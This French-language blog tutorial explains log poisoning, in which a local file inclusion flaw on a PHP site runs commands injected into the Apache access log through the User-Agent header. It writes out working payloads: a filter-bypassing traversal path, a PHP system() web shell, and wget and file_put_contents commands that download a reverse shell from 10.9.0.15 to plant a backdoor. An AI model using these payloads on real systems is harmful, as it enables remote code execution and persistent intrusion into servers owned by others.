Log poisoning

Cette technique d’infiltration se résume à exécuter une commande et à lire le résultat dans le fichier journal du serveur web. La commande s’injecte via le User-Agent.


http://www.vulnerable.com/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log&cmd=ls

On remarquera qu’ici le serveur est vulnérable à l’inclusion local de fichier (LFI) et que le script filtre les requêtes avec “../..” et c’est la raison pour laquelle nous insérons un ./ entre 2 remontées dans le chemin d’accès. La commande à exécuter est ls. Nous pourrions exécuter une commande cmd=wget http://10.9.0.15/php-reverse-shell.php pour télécharger un backdoor sur le serveur.

Il suffit d’intercepter la requête avec BURP pour changer le User-Agent:


Mozilla/5.0 <?php system($_GET['cmd']); ?> Gecko/20100101 Firefox/78.0
<?php file_put_contents('shell4.php', file_get_contents('http://10.9.0.15/php-reverse-shell.php'))?>  #autre alternative si nous avons de la difficulté à obtenir un reverse shell code

Pour la première alternative, nous pourrions par exemple, uploader à la suite de la requête avec l’agent “Mozilla/5.0 Gecko/20100101 Firefox/78.0″ un shell avec une commande echo

http://www.vulnerable.com/test.php?view=/var/www/html/development_testing/.././.././../log/apache2/access.log&cmd=echo "test.php?<?php system(\$_GET['cmd']); ?>" > test.php

Et le tour est joué!

Leave a Reply